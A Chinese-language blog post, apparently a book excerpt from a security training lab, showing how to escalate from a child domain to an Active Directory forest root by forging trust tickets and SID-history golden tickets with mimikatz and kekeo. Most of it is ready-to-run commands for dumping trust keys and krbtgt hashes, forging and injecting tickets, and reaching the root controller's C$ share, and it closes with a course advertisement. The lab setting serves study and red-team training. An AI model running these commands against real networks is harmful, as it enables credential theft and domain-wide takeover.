跨域攻击分析和防御(中)


利用域信任密钥获取目标域权限

 

搭建符合条件域环境,域林内信任环境搭建情况如下,如图7-8所示。

父域域控:dc.test.com (Windows Server 2008 R2)

子域域控:subdc.test.com (Windows Server 2012 R2)

子域内计算机:pc.sub.test.com (Windows 7)

子域内普通用户:sub\test

 

7-8 域林内信任环境

 

工具mimikatz可以在域控制器上导出并伪造信任密钥,工具kekeo可以请求访问目标域中目标服务的TGS票据。使用这两个工具我们便可以伪造具有sidHistory的票据,然后获取目标域的权限。

mimikatz下载地址:https://github.com/gentilkiwi/mimikatzkekeo下载地址: https://github.com/gentilkiwi/kekeosubdc.test.com上使用mimikatz获取所需要的信息,命令如下所示。Mimikatz.exe privilege::debug “lsadump::lsa /patch /user:test$” “lsadump::trust /patch” exit

结果如图7-9中所示。①为当前域的sid,图7-9中②为目标域的sid,图7-9中③为信任密钥,这里使用了两种方法获取信任密钥,实际操作时选择一种即可。获取信息后的其它操作在域内计算机(pc.sub.test.com)上使用普通域用户权限(sub\test)执行即可。

 

7-9 使用mimikatz获取所需要的信息

 

接着使用Mimikatz创建伪造的信任票证,输入如下命令。

Mimikatz “Kerberos::golden /domain:sub.test.com /sid:S-1-5-21-760703389-4049654021-3164156691 /sids:S-1-5-21-1768352640-692844612-1315714220-519 /rc4:e7f934e89f77e079121b848b8628c347 /user:DarthVader /service:krbtgt /target:test.com /ticket:test.kirbi” exit

命令中domain参数指定当前域名,sid参数指定当前域的sid,sids参数指定目标域的sid-519,代表我们伪造的用户属于目标域企业管理员组,rc4参数指定信任密钥,user参数指定伪造的用户名,service参数指定需要访问的目标服务,target参数指定目标域名,ticket参数指定保存票据的文件名,如图7-10所示。

注:第一次访问域控时的提示文字重复是mimikatz执行时导致的输出异常。 

 

 

7-10使用Mimikatz创建伪造的信任票证

 

利用创建的名为test.kirbi的Trust Ticket文件获取目标域中目标服务的TGS并保存到文件中,输入如下命令,如图7-11所示。

Asktgs test.kirbi CIFS/DC.test.com

 

7-11取目标域中目标服务的TGS

 

然后将获取到的TGS票据注入到内存中,输入如下命令,结果如图7-12所示。

Kirbikator lsa CIFS.DC.test.com.kirbi

最后就可输入下列命令,使用伪造的权限成功访问目标服务,如图7-12所示。

dir \\dc.test.com\C$

 

7-12TGS票据注入到内存并访问目标服务

 



利用krbtgt哈希获取目标域权限

 

Mimikatz可以在构建黄金票据时设置sidHistory,因此如果攻击者获取了林内任意域的krbtgt哈希,就可以利用sidHistory获得整个林的完整权限。

首先通过powerview在域内计算机(pc.sub.test.com)上使用普通域用户(sub\test)权限获取当前域和目标域的sid,如图7-13所示。

Powerview mimikatzhttps://github.com/PowerShellMafia/PowerSploit/tree/master/Recon

7-13获取当前域和目标域的sid

 

注:常用获取域用户sid方法

u wmic useraccount get name,sidu whoami /useru adfind.exe -sc u:test|findstr sidu Powerview

在域控上使用mimikatz获取krbtgt哈希,这里介绍了两种方法,实际操作时选用其中一种即可,如图7-14所示。

l 命令1mimikatz.exe privilege::debug “lsadump::lsa /patch /user:krbtgt” sekurlsa::krbtgt exitl 命令2sekurlsa::krbtgt

 

7-14获取krbtgt哈希

 

在子域内计算机(pc.sub.test.com)上使用普通用户权限(sub\test)构造并注入黄金票据,即可获取目标域的权限。命令如下。

Mimikatz “Kerberos::golden /user:Administrator /domain:sub.test.com /sid:S-1-5-21-760703389-4049654021-3164156691 /sids:S-1-5-21-1768352640-692844612-1315714220-519 /krbtgt:7ca9fc3b5aa4776f017bfc29649b36f5 /ptt” exit

命令中user参数指定了伪造的用户名,domain参数指定当前域名,sid参数指定当前域的sid,sids参数指定目标域的sid-519,代表我们伪造的用户属于目标域企业管理员组,krbtgt参数指定krbtgt哈希,ptt代表将票据注入到内存中,如图7-15所示。

最后就可输入下列命令,成功访问目标服务,如图7-15所示。

dir \\dc.test.com\C$

 

7-15获取目标域的权限

 

 

 

Ms08067安全实验室专注于网络安全知识的普及和培训,是专业的“图书出版+培训”的网络安全在线教育平台,专注于网络安全领域中高端人才培养。

平台已开设Web安全零基础就业,Web高级安全攻防进阶,红队实战攻防特训,Java代码安全审计,恶意代码分析与免杀实战,CTF基础实战特训营,网络安全应急响应,安全工具开发,AI与网络安全等系统培训课程。实验室出版安全图书《Web安全攻防:渗透测试实战指南》、《内网安全攻防:渗透测试实战指南》、《Python安全攻防:渗透测试实战指南》、《Java代码审计:入门篇》等。

扫描客服微信 获取更多课件+学习资料

posted @ 2024-04-15 10:15  Ms08067安全实验室  阅读(23)  评论(0编辑  收藏  举报